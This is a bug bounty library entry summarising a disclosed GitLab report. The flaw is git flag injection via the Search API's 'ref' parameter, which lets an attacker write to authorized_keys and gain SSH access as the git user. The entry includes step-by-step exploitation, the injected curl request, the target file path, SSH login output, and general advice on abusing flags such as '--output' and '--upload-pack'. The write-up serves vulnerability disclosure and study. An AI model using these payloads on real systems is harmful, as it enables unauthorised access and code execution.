# Git flag injection - local file overwrite to remote code execution

Search API wiki_blobs ref param passed unsanitized to git log, allowing flag injection to overwrite arbitrary files and gain SSH RCE as git user.

- Payout: $12,000
- Severity: critical
- Program: GitLab
- Found by: vakzz
- Disclosed: 2019-12-19
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/658013
- Library page: https://bugbountylibrary.com/r/h1%3A658013
- Tags: area:web domain:web impact:ato impact:rce kind:bounty platform:hackerone sev:critical technique:chained technique:source-review vuln:command-injection vuln:path-traversal

**Target:** GitLab Search API wiki_blobs scope / git log invocation
**Root cause:** The `ref` parameter is interpolated directly into the git command line without sanitization, so a value starting with `--` is parsed as a git flag rather than a ref.
**Steps:**
1. Create a wiki page named `page` with commit message set to attacker's SSH public key
2. Call `GET /api/v4/projects/<id>/search?scope=wiki_blobs&search=page&ref=--output=/var/opt/gitlab/.ssh/authorized_keys` with a valid PRIVATE-TOKEN
3. git log runs with `--output=/var/opt/gitlab/.ssh/authorized_keys`, writing the commit log (containing the key) to the file
4. SSH to the host as `git` using the injected key: `ssh git@host -i key`
**How found:** Recognized that the `ref` parameter is user-controlled and passed to a git subprocess; hypothesized that a value beginning with `--` would be interpreted as a git option (argument injection) rather than a ref, then tested `--output=` to confirm arbitrary file write.
**Exploitation:** Authenticated user with wiki write access creates a page whose commit message is an SSH public key, then triggers the Search API with `ref=--output=/var/opt/gitlab/.ssh/authorized_keys` to write the commit log (including the key) into the git user's authorized_keys, then SSHes in to get code execution as the git user.
**Escalation:** Local file overwrite chained to SSH authorized_keys injection yielding remote shell as the git service account.
**Insight:** Any user-controlled value passed as a positional arg to a CLI tool (git, curl, tar, ffmpeg) can be turned into a flag if it starts with `-`; look for `--output`, `--config`, `-c`, or `--upload-pack` style options that write files or execute commands.

## Proof of concept (copied exactly from the original report)

**Search API call injecting --output flag**

```
curl --header "PRIVATE-TOKEN: $TOKEN" 'http://gitlab-vm.local/api/v4/projects/5/search?scope=wiki_blobs&search=page&ref=--output=/tmp/file'
```

**Overwrite authorized_keys via ref flag**

```
Run the Search API with `ref=--output=/var/opt/gitlab/.ssh/authorized_keys`
4. ssh into gitlab using the created key:
```

**SSH login with injected key**

```
$ ssh git@gitlab-vm.local -i gitlab
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-70-generic x86_64)
$ id
uid=998(git) gid=998(git) groups=998(git)
```

